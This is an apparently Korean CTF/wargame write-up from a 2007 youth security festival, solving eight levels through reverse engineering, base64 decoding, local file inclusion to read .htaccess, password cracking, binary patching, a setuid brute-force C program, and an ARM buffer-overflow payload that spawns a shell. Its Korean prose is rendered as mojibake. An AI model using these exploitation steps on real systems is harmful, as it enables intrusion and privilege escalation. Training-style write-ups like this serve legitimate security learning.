====================================================
ûҳ ȣ 佺Ƽ 2007 
MY LAST Youth's Information Security Festival REPORT
====================================================

----------------------------------------------------
 >  
б >  б
ID   >  hkpco
MAIL >  hkpco@korea.com
HOME >  http://hkpco.kr/
----------------------------------------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
LIST	   PASS TIME
level1	   2007-08-10 18:04:41
level2	   2007-08-10 18:55:26
level3	   2007-08-10 19:19:52
level4	   2007-08-10 22:21:22
level5	   2007-08-10 22:43:05
level6	   2007-08-10 23:03:44
level7	   2007-08-11 04:50:40
level8	   2007-08-11 20:26:33
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



        level1


level1.exe ̳ʸ ־ ش α׷ Ű  ǻ   ɴϴ.
   ߾  ϰų Ʒ  ollydbg ̿Ͽ   ֽϴ.

ollydbg all referenced text strings   ڿ ˻ϰ Ǹ    κ   ֽϴ.

=====================================================================================================================
00405518   . B8 F4434000    MOV EAX,level1.004043F4                  ;  UNICODE "http://oro1.woweb.net/isfanswer.txt"
.
.
00405E94   . 68 70444000    PUSH level1.00404470                     ;  UNICODE "The next stage password is '"
=====================================================================================================================

Ʒ url ϸ н带   ֽϴ.

-----------------------------------
http://oro1.woweb.net/isfanswer.txt
-----------------------------------

, istheresomebody?






        level2


  ϸ Ư Է° index.php ڷ   ֽϴ.
bruteforce     ش  80 port   ûغ ܼ ɴϴ.

80 port `GET /index.php HTTP/1.0`  û  Դϴ.


========================================================================================
[hkpco@ns hkpco]$ telnet 121.185.96.43 80
Trying 121.185.96.43...
Connected to 121.185.96.43.
Escape character is '^]'.
GET /index.php HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 15 Aug 2007 00:00:47 GMT
Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7a PHP/5.2.1
X-Powered-By: PHP/5.2.1
Set-Cookie: hint=QnJ1dGUgRm9yY2UgQXR0YWNr; expires=Wed, 15-Aug-2007 00:01:47 GMT; path=/
Content-Length: 227
Connection: close
Content-Type: text/html



<body>
<br><br><br><br><br><br><br>
<center>

<img src=docdo.jpg>
<form method=post action=index.php>

<input type=text name=pw2 length=20>
<input type=submit value=>
</form>

</center>

</body>
</html>
Connection closed by foreign host.
========================================================================================

 Set-Cookieκ  hint=QnJ1dGUgRm9yY2UgQXR0YWNr  Ǿִµ ִµ hint ־ 
Base64  ڵ Ǿֽϴ.  ڵ ǮԵǸ "Brute Force Attack"  ڿ   ֽϴ.
ش ڿ index.php  ְԵǸ pass.zip ̶    ְ,
 pass.txtϿ ȣ ɷ ֱ⶧  'ȣã' ̿ؾմϴ.
 ٸ  ȣ ãԵǰ, ã  ȣ "mango"  ˴ϴ.
 ȣ ̿Ͽ ؽƮ   niceperformance!!  н带   ֽϴ.

, niceperformance!!






        level3


 ־ url غ /usr/local/apache/htdocs/level3/ 丮 ϴ    ־ϴ.
   ־   ֽϴ.

============================================
http://121.185.96.46/level3.php?file=[value]
============================================

../ ̿Ͽ  丮 Ϸ Ͽ ͸ ȵ ߽ϴ.
guessing  http://121.185.96.46/level3/  ִٴ  ˾Ƴ, apache   ѵǾϴ.
level3.php ̿ؼ Ʒ  .htaccess Ͽ apache id, password ˾Ƴϴ.

==============================================
http://121.185.96.46/level3.php?file=.htaccess
==============================================

   Ұ john the ripper  ȣȭ н带 Ǯϴ.

====================
level3:8a0JcRzdxt/jA
====================

--------------------------------
[hkpco@ns run]$ cat > sch
level3:8a0JcRzdxt/jA
[hkpco@ns run]$ ./john -show sch
level3:lemon

1 password cracked, 0 left
--------------------------------

ȹ н(lemon) ̿ؼ http://121.185.96.46/level3/ ġ    Ʒ  θ ϴ.

===================================================
/usr/local/apache/htdocs/level3/schdisepasswdlevel3
===================================================

level3.php ִ  丮 /usr/local/apache/htdocs/level3/ ̱ 
  ûϸ  н     ֽϴ.

========================================================
http://121.185.96.46/level3.php?file=schdisepasswdlevel3
========================================================

, l1ketheoth2rs






        level4


ڸ guessing http://121.185.96.48/admin/admin.php    ãҽϴ.
 "ٱ" ޽̾,   ־ Խ ̿Ͽ
 õ غ  Խ  iframe ױ׻   ˾Ƴ½ϴ.

  Խñ ۼϸ iframeױ׸  (121.185.96.48)   ѰͰ Ե˴ϴ.

=========================================
<iframe src='telnet://121.185.96.48:80/'>
=========================================

    iframe Ͽ,  üũ(ip check)  â  ִ° ҽϴ.
â   ϴ.

===================
KEY: externalTELNET
===================

  ʵ尪 ó ã   (http://121.185.96.48/admin/admin.php) ûϿϴ.

--------
| SEND |
-------------------------------------------------
GET http://121.185.96.48/admin/admin.php HTTP/1.1
Host: 121.185.96.48
KEY: externalTELNET
-------------------------------------------------

--------
| RECV |
--------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Thu, 09 Aug 2007 18:47:03 GMT
Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7a PHP/4.4.4
X-Powered-By: PHP/4.4.4
Content-Length: 53
Content-Type: text/html

մϴ. н 'SCH2007FIGHTING!' Դϴ.<br>
--------------------------------------------------------------------

, SCH2007FIGHTING!






        level5

 ǽ  L ڽ ϴ  ȣ ɾ  ȣ Ҿ    
α׷  ϰ ־. Ŀ K L    ý ŷϴ 
L ϴ  α׷ ȹ Ͽ  ߿ н  ־. 
   α׷ 򹮰 ȣ   µ ϴµ.... 
Ŀ K     L н带 ȹϿ. 

"apple" -> "c2c183c6ac" 
"funny computer" - > "ccd573e62f08b16fdac1ab47ac9c" 
"power overwhelming" -> "e0bdbb564e08b776cac9bb86ac1bb669dc9d" 

download this file --> http://121.185.96.82/level5.exe 


  Ǯ̹   ֽϴ.
ϳ ־ ȣ Ģ ãƳ ȣȭ ϴ ̰
ٸ ϳ level5.exe ̳ʸ ϴ  Reverse Engineering  ˾Ƴ Դϴ.

    ̿ Ǯ̸ ϰڽϴ.
켱 ollydbg ̿Ͽ level5.exe  ڵ带 ԵǸ entry point Ϲ α׷ ణ ٸ,
EXEINFO PE  level5.exe ŷǾִ° Ȯ   ֽϴ.

 Original Entry Point  ãư Ǯϴ.
ollydbg ̿ؼ memory map ִ Owner level5   code ּҿ ̵մϴ.
ش  α׷  unpackingƾ    entry pointκ̸ ּҴ 0040D000 ̰,
breakpoint ɰ α׷ Ų  ߴ  OEPԴϴ.

ٸ δ ŷ α׷ prologueκп ִ PUSHAD ̿ϴ Դϴ.

================================================
0040EB28   $ 60             PUSHAD
0040EB29   . E8 4F000000    CALL level5.0040EB7D
================================================

unpack۾  ڿ POPAD Ͽ   ٽ   Դϴ.
׷ POPAD ڿ breakpoint ɾ runϰԵǸ callκп ߰ԵǴµ,
׶ esp Ű ּҰ(    ) breakpoint ɾݴϴ.

, α׷ ƾ unpacking  ڿ POPAD ̿Ͽ ͵  Ǵµ,
̶    breakpoint ɰԵǸ unpack  entry point ϱ  PUSHǾ ͵
POPAD   ش  breakpoint  ߰ ǰ, OEP ã  ֱ Դϴ.

̷ ã OEP  ϴ.

OEP 
====================================
0040E703   . FFD0           CALL EAX
====================================

OEP call 0040171Dּҷ ϸ  ּҰ OEP ˴ϴ.
level5.exe α׷ ־ key  ans Է¹޴µ, ش ( ans 信  )
MessageBox ̿ؼ  ִ°     Լ ó   ƾ ֽϴ.

0040110D   75 32            JNZ SHORT level5.00401141
0040110F   8D4424 08        LEA EAX,DWORD PTR SS:[ESP+8]
00401113   50               PUSH EAX
00401114   68 10A14000      PUSH level5.0040A110                     ; ASCII "ded92b27cc1bb777d2b93b024c9cb069dc"
00401119   E8 F2000000      CALL level5.00401210
0040111E   83C4 08          ADD ESP,8
00401121   8D4C24 08        LEA ECX,DWORD PTR SS:[ESP+8]
00401125   6A 00            PUSH 0
00401127   68 00A14000      PUSH level5.0040A100                     ; ASCII "password is "
0040112C   51               PUSH ECX
0040112D   55               PUSH EBP
0040112E   FF15 C0904000    CALL DWORD PTR DS:[4090C0]               ; USER32.MessageBoxA
.
.
00401141   6A 00            PUSH 0
00401143   68 F8A04000      PUSH level5.0040A0F8                     ; ASCII "#$@$^"
00401148   68 C8A04000      PUSH level5.0040A0C8                     ; ASCII " ȣ ƴϰų   ʽϴ."
0040114D   55               PUSH EBP
0040114E   FF15 C0904000    CALL DWORD PTR DS:[4090C0]               ; USER32.MessageBoxA

0040110Dּ JNZ ans Ʋ Է°  ʴٴ ޽  ִ 00401148 ּҷ ϰ,
 ġѴٸ CALL level5.00401210 κп ȣȭ  н带 ȣȭ  , MessageBoxA Ͽ ϰ ˴ϴ.
׷ JNZ JE ٲ ڿ ش ƾ ٽ ġ Ǹ   MessageBox µ    ֽϴ.

 
 password is      
 
 overflowing brain
 
 Ȯ             
 

, overflowing brain






        level6


   ̳ʸ ϳ ־ϴ.

=====================================================
-bash-3.00$ ls -l level6
-rwxr-xr-x  1 root level6 197929  8 10 11:31 level6
=====================================================


̳ʸ  غ UPX ŷȵ ߽ϴ.

==================================================================
-bash-3.00$ xxd level6|more
0000000: 7f45 4c46 0101 0103 0000 0000 0000 0000  .ELF............
0000010: 0200 0300 0100 0000 280d c300 3400 0000  ........(...4...
0000020: 0000 0000 0000 0000 3400 2000 0200 2800  ........4. ...(.
0000030: 0000 0000 0100 0000 0000 0000 0010 c000  ................
0000040: 0010 c000 0405 0300 0405 0300 0500 0000  ................
0000050: 0010 0000 0100 0000 9c01 0000 9c81 0a08  ................
0000060: 9c81 0a08 0000 0000 0000 0000 0600 0000  ................
0000070: 0010 0000 bf9e d079 5550 5821 dc07 0d0c  .......yUPX!....
0000080: 0000 0000 7f89 0600 7f89 0600 b400 0000  ................
.
.
==================================================================

level6 ϰ Ǹ  ׸̼  ߻ϰ Ǵµ ̳ʸ ŷǾ ٷ мϱⰡ ϴ.
 ¿ ̿   ִ° ׸̼ Դϴ.
׸̼  core ϵ  ְԵǸ ׶ ޸𸮸  ݴϴ.

̸ ̿ؼ    ֽϴ.

===========================================
-bash-3.00$ ./level6
SF_ARGOS_FRIENDSHIP_SCH_2007_YOUTH_FESTIVAL
׸̼  
===========================================

==========================================================
-bash-3.00$ ulimit -c unlimited
-bash-3.00$ ~/level6
SF_ARGOS_FRIENDSHIP_SCH_2007_YOUTH_FESTIVAL
׸̼  (core dumped)

-bash-3.00$ ls -al
հ 56
drwxr-xr-x  2 level6 level6   4096  8 15 09:55 .
drwxrwxrwt  6 root   root     4096  8 15 09:55 ..
-rw-------  1 level6 level6 172032  8 15 09:55 core.4017

-bash-3.00$ strings core.4017
CORE
_YOU,
TH_Fs
CORE
level6
/home/level6/level6
CORE
"^"uG
"^"uG
level6
TH_F
CORE
CORE
FLINUX
SF_ARGOS_FRIENDSHIP_SCH_2007_YOUTH_FESTIVAL
cOreDump
SF_ARGOS_FRIENDSHIP_SCH_2007_YOUTH_FESTIVAL
Linux
localhost.localdomain
2.6.9-42.0.10.ELsmp
.
.
==========================================================

, cOreDump






        level7


־ Ģ ̿Ͽ ȣ Ǫ Դϴ.
 Ʒ  丮 , ̳ʸ ־ϴ.

dr-xr-----  2 hacker hacker   4096  8  7 16:57 hacker
-r--r--r--  1 level7 level7   9661  8 10 01:29 hint
-r--r--r--  1 level7 level7    629  8 10 01:30 letter
-r-s--x--x  1 hacker level7   6728  8  7 16:58 mondai

mondai setuid ɸ  ش ̳ʸ ϴ  ϰ  ҽϴ.

==============================
[level7@localhost ~]$ ./mondai
(ȭ clear)

Input Security Keyword = hkpco
key1 value= 777
key2 value= 111

(ȭ clear)
==============================

mondai ϸ ȭ clear  keyword Է¹޽ϴ.
"hkpco" Է  ͸ ġ key1 key2 Է¹޴µ    777, 111 ԷϿ ƹ  ,
־  ؾ ϴµ ߽ϴ.

 hint letter ҽϴ.

========================================================
[level7@localhost ~]$ cat hint
objdump -d mondai


 80484f1:       eb 69
 80484f3:       c7 45 d4 00 00 00 00
 80484fa:       eb 39
 80484fc:       8b 55 cc
 80484ff:       8b 4d d4
 8048502:       89 d0
 8048504:       c1 e0 03
 8048507:       29 d0
 8048509:       01 c8
 804850b:       c7 84 85 40 f1 ff ff
 8048512:       00 00 00 00
 8048516:       8b 55 cc
.
.
.
 8048874:       83 7d ec 00
 8048878:       0f 89 78 ff ff ff
 804887e:       c7 45 c8 00 00 00 00
 8048885:       8d 45 e8
 8048888:       ff 00
 804888a:       8b 45 e8
 804888d:       3b 45 0c

[level7@localhost ~]$ cat letter
dear user

greetings to all at oxford Many thinks for your
letter And for the summer examination pacKage
all entry orms and fees forms should be ready
for final despatch to the syndicate by fridat
2th oR the very latest Im told by the St
admin has improved here though theres room
for improvement still just giveus all two or
three more Never years and well really show you
please dont let these wretched proposals
destroy your basic V and D pattern certAinly
this soRt of changeif implemented immediately
would bring chaos Know!!

*source "silxxx wxxld xx xxcxolas qxxnn xy colin xxxtor"

PS. i know number is "101x001000000xx"
========================================================

hint mondai ̳ʸ objdump -d   ڵ常 Ͽ,
letterϿ ־  Ģ ã keyword ° ҽϴ.
 ̳ʸ mondai  ų  ޸𸮸 Ͽ keyword ˾ ϴ.
̳ʸ  ޸𸮿 ε ͵ Ͽ strings 캸ҽϴ.

----------------------------------------
[level7@localhost hk]$ strings mondai.hk
/lib/ld-linux.so.2
_Jv_RegisterClasses
__gmon_start__
libc.so.6
putchar
printf
system
.
.
Input Security Keyword =
key1 value=
key2 value=
clear
your good!! passwd is xxxxxx
/bin/sh
VdU)-tM7/&d-u``
.
.
----------------------------------------

ȣȭ Ű尪 ǽɵǴ VdU)-tM7/&d-u`` ã  ־ϴ.

Ű hint  ڵ带  ȯϿ  κ Ǳ ҽϴ.

===========================================================
0x8049611 <cd+113>:     movl   $0x251abb,0xffffffb4(%ebp)
===========================================================
0x8049618 <cd+120>:     movl   $0x20965f,0xffffffe0(%ebp)
===========================================================
0x8049731 <cd+401>:     movl   $0x6e1d9f,0xffffffe4(%ebp)
===========================================================
0x804978b <cd+491>:     movl   $0x66666667,0xffffe4a4(%ebp)
===========================================================
0x80497b1 <cd+529>:     movl   $0x66666667,0xffffe4a4(%ebp)
===========================================================
0x80497e3 <cd+579>:     movl   $0x66b971,0xffffffb8(%ebp)
===========================================================

 ƾ ߰߰ key ʱⰪ Ҵ ǽɵǴ κ ־ϴ.
 Ҵ簪  2   key Դϴ.

  bruteforceڵ带 ۼϿϴ.

- brute.c -
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>

#define K "VdU)-tM7/&d-u``"

int main( void )
{
	unsigned long int hk[] = { 0x251abb , 0x20965f , 0x6e1d9f , 0x66666667 , 0x66666667 , 0x66b971 };
	int i,j;

	char atk[4096] = {0x00,};

	for( i = 0 ; i < 6 ; i++ )
	{
		for( j = 0 ; j < 6 ; j++ )
		{
			sprintf( atk , "(perl -e 'print \"%s\\n%d\\n%d\\n\"';cat)|/home/level7/mondai" , K , hk[i] , hk[j] );
			system( atk );
		}
	}
}
- End Of Code -

޸    Ű尪 ʱ key  ̳ʸ bruteforceϵ ڵ带 ۼϿϴ.
ҽ   ϰԵǸ  , gid µ ʾ newgrp  ο gid ȹؾ ߽ϴ.
Ʒ    ۾Դϴ.

--------------------------------------------------
newgrp
whoami
hacker
id
uid=770(hacker) gid=770(hacker) groups=500(level7)
cd /home/level7
ls
hacker  hint  letter  mondai
cd hacker
ls
PASSWD.MOTOKO
cat PASSWD.MOTOKO

ϼ̽ϴ!!

next passwd is "(key1*2)+key2"

 ʾұ!! ׼!
--------------------------------------------------

password ־ (key1*2)+key2   Ű   ϸ    ֽϴ.

, 11487837






        level8


arm processor󿡼 BufferOverFlow,  Ȯ ڸ Return To Library Դϴ.
AT&T Ȥ INTEL ϴٰ ARM  ϴٺ   ־ϴ.
arm Ѱ ͳݿ ִ  ڷ鿡   Ǿ־ ũ   ϴ.

 ϰԵǸ gdb_server level8̶ ̸ ̳ʸ ִµ, gdb_server    ̰
level8   ̳ʸ ҽϴ. level8 ̳ʸ  мϷ ݿ arm-linux  
gdb ־ ϱ , gdb ޾Ƽ   ɼ ġ  ݴϴ.

==================================================
[hkpco@ns gdb-6.6]$ ./configure --target=arm-linux
==================================================


gdbserver   մϴ.

1: target server
==============================================================
[level8@Linux level8]$ ./gdbserver ip:port ./level8 (argument)
==============================================================

2: my server
===================================
[hkpco@ns tmp]$ ./arm-gdb -q level8
(gdb) target remote ip:port
===================================

׸  rz&sz   ־  level8 ̳ʸ ޾ ida м Ͽϴ.
level8 ̳ʸ 츮     üũ Ĩϴ.
  üũ  ƾ Ʒ ϴ.

-----------------------------------------
LDR     R3, [R11,#var_20]
LDR     R2, =0x5437163
CMP     R3, R2
BNE     loc_8598

LDR     R3, [R11,#var_30]
MOVL    R2, 0x1318800
ADD     R2, R2, #0x5F
CMP     R3, R2
BNE     loc_8598

LDR     R3, [R11,#var_18]
MOVL    R2, 0xFFFFFCFF
SUB     R2, R2, #0x4000002
SUB     R2, R2, #0x1040000
CMP     R3, R2
BNE     loc_8598
-----------------------------------------


  ġѴٸ /bin/print_3 մϴ.

----------------------------------
LDR     R0, =aBinPrint_3
BL      _system
; system( "/bin/print_3" );
----------------------------------


main() Լ ۺκп ִ     argc, argv    ֽϴ.
R0, R1 ʹ  Լ ù° , ι° ڸ մϴ.( ⼭ mainԼ  )

-------------------------------
STR     R0, [R11,#var_10]
STR     R1, [R11,#var_14]
-------------------------------

 instruction   ϴ.

===========================================================
R11 + #var_10(-0x10) Ű ּҰ R0 ͸ 
R11 + #var_14(-0x14) Ű ּҰ R1 ͸ 
===========================================================


STR intruction  R11 ʹ prologue 캸 x86 linux ebp   ֽϴ.
Ʒ arm x86ȯ濡 prologueκ  Դϴ.

---------------------------------------------------------
MOV     R12, SP       ;  ͸ R12 Ϳ 
SUB     R11, R12, #4  ; R11 = R12 -4
---------------------------------------------------------

--------------------------------------------------------
0x08048400 <main+0>:    push   %ebp       ; esp = esp -4
0x08048401 <main+1>:    mov    %esp,%ebp  ; ebp = esp
--------------------------------------------------------


츮 argv[1] stdin(ǥԷ) ̿Ͽ    ֽϴ.
Ʒ ׿ ƾԴϴ.

--------------------------------------
SUB     R3, R11, #0x30
LDR     R0, =aD
MOV     R1, R3
BL      _scanf
; scanf( "%d" , &(ebp-0x30) );
--------------------------------------
--------------------------------------
SUB     R3, R11, #0x2C
MOV     R2, #4
LDR     R1, [R11,#var_14]
; R1 = argv

ADD     R2, R2, R1
; R2 = argv +1

MOV     R0, R3
LDR     R1, [R2]
; R1 = *(argv +1)

BL      _strcpy
; strcpy( ebp-0x2C , *(argv +1) );
--------------------------------------


  м    ġϴ  ãƳ,  ϴ.

====================================================================
./level8 `printf "AAAAAAAAAAAA\x63\x71\x43\x05AAAA\xfd\xfc\xfb\xfa"`
stdin value: 20023391
====================================================================

ù° üũƾ  ȸ \x63\x71\x43\x05̰, ι° ȸ ǥԷ 20023391,
 ° \xfd\xfc\xfb\xfa ˴ϴ.

ش   ϰ Ǹ print_5() Լ ϶ ޽ ְ Ǵµ,
 Լ ϸ guru  ˴ϴ.
׷Ƿ α׷ return address print_5() Լ ּҷ Ͽ ָ ˴ϴ.

print_5() Լ ֿ ƾ  ϴ.

--------------------------------
MOV     R0, #0x3EC
MOV     R1, #0x3EC
BL      _setregid
; setreuid( 0x3ec , 0x3ec );

LDR     R0, =aBinPrint_4
BL      _system
; system( "/bin/print_4" );

LDR     R0, =aBinSh
BL      _system
; system( "/bin/sh" );
--------------------------------

print_5() Լ ּҴ 0x00008474 ̸, Ʋ   ּҰ     null 2byte ϱ 
ڵ带 Ȯ return address ߾ ־ return address  2byte null  ְ ˴ϴ.
, ̴ ϰ Ǹ print_5()Լ µ ʰ segmentation fault ߻ϰ Ǵµ,
ݰ  SP  Լ ʷα κ  segmentation fault ߻  ҽϴ.
׷ SP͸ ȿ ּҰ ü    payload  Ͽϴ.

===========================================================================================================

[level8@Linux level8]$ ./level8 `printf "HKHKHKHKHKHKHKHKHKHKHKHKHKHKHKHKHKHKHKHK\xac\xff\xff\xbf\x74\x84"`
Good luck to you..
Student I.D. Number : 7

password file: /home/guru/password

bash$ cat /home/guru/password

        Congraturations~!! Password is "!!Welcome to Embedded World!!"

===========================================================================================================

, !!Welcome to Embedded World!!





 --------------
  ġ..  
 --------------

 1г⶧     °     Ǿ׿.
 ׵    ֽ  е, Ͻô Ͻ е, ׸ ȸ  е  帳ϴ.
 Ȱ  ϰ ų Ի ȸ Ȱ ȸ  ̶ ϴ ݺ ƽ  ūͰϴ.
 ų   ȸ    ְ  ּż 帮 ε  ο ̾   ڽϴ.
 ̸  ġڽϴ.
